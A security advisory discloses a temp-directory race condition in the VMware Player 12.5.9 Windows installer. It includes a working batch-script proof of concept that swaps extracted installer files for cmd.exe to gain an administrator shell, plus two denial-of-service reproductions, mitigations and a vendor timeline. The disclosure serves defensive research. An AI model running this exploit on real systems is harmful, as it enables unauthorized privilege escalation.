VMWare Player 12.5.9 Privilege Escalation / Denial Of Service

`Hi @ll,  
  
the executable installer of VMware Player 12.5.9, published in  
January 2018, available from  
<https://download3.vmware.com/software/player/file/VMware-player-12.5.9-7535481.exe>,  
is vulnerable.  
  
JFTR: VMware Player 12.5.9 is the last version which runs on  
32-bit Windows, and the last to support older CPUs.  
  
  
Although running with administrative privileges (its embedded  
application manifest specifies "requireAdministrator"),  
VMware-player-12.5.9-7535481.exe extracts files UNPROTECTED  
into subdirectories of the user's %TEMP% directory for later  
execution.  
An UNPRIVILEGED process/user running under the same user  
account can tamper with these unprotected files between their  
creation and their use, resulting in escalation of privilege.  
  
  
For this well-known and well-documented vulnerability see  
<https://cwe.mitre.org/data/definitions/377.html> and  
<https://cwe.mitre.org/data/definitions/379.html> plus  
<https://capec.mitre.org/data/definitions/27.html> and  
<https://capec.mitre.org/data/definitions/29.html>  
  
  
Demonstrations/proof of concepts:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
The POCs work on standard installations of Windows, where the  
user account created during Windows Setup is used.  
  
This precondition is typically met: according to Microsoft's  
own security intelligence reports, about 1/2 to 3/4 of the  
about 600 million Windows installations which send telemetry  
data have only ONE active user account.  
See <https://www.microsoft.com/security/sir>  
  
  
A) "escalation of privilege":  
-----------------------------  
  
1. create the following text file in an arbitrary directory:  
  
--- vmware12.cmd ---  
:LOOP1  
@If Not Exist "%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\vcredist_x86.exe" Goto :LOOP1  
  
Copy NUL: "%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\VMwarePlayer.msi"  
  
:LOOP2  
@If Not Exist "%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\vcredist_x64.exe" Goto :LOOP2  
  
Copy "%COMSPEC%" "%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\vcredist_x86.exe"  
  
:LOOP3  
Copy "%COMSPEC%" "%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup\vcredist_x64.exe"  
If ERRORLEVEL 1 Goto :LOOP3  
--- EOF ---  
  
2. fetch the executable installer VMware-player-12.5.9-7535481.exe;  
  
3. start the batch script created in step 1, then run the executable  
installer: notice the error message from the Windows Installer,  
and the start of the command processor with administrative rights!  
  
  
B) "denial of service":  
-----------------------  
  
1. add the NTFS "access control list entry" (D;OIIO;WP;;;WD) meaning  
"deny execution of files in this directory for everyone, inheritable  
to files in all subdirectories" to the user's %TEMP% directory;  
  
2. fetch the executable installer VMware-player-12.5.9-7535481.exe  
and run it: admire the MISLEADING wrong error message  
"The installer could not load a required DLL"!  
  
  
C) "denial of service":  
-----------------------  
  
1. create a(n empty) file  
%TEMP%\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup  
  
2. create the directory C:\VMwareTemp and the (empty) file  
C:\VMwareTemp\{3932C891-5563-421D-B9C0-DEA6CB35F9F4}~setup  
  
3. fetch the executable installer VMware-player-12.5.9-7535481.exe  
and run it: admire the MISLEADING wrong error message  
"Not enough space"!  
  
  
Mitigations:  
~~~~~~~~~~~~  
  
1. DON'T use executable installers; stay far away from such  
eternally vulnerable crap!  
  
2. NEVER run executable installers from UNSAFE directories like  
"%USERPROFILE%\Downloads\" or "%TEMP%\"  
DISABLE execution of files (as shown above) in %USERPROFILE%!  
  
3. Practice STRICT privilege separation: use a your privileged  
"Administrator" account (especially the account created during  
Windows setup) ONLY for administrative tasks, and COMPLETELY  
separate unprivileged user accounts, with elevation requests  
DISABLED. for your daily/regular work.  
  
  
stay tuned  
Stefan Kanthak  
  
  
PS: also see <http://seclists.org/bugtraq/2018/Aug/0>  
  
  
Timeline:  
~~~~~~~~~  
  
2018-06-03 vulnerability report(s) sent to vendor  
  
2018-06-13 vendor acknowledged receipt:  
"We will look into this and provide feedback in due course."  
  
2018-06-14 vendor replies:  
"It is my understanding that Workstation Player 12.x has  
since reached end of general support (in February of 2018)  
as per our Lifecycle Product Matrix  
<https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/support/product-lifecycle-matrix.pdf>."  
  
2018-08-02 report published  
`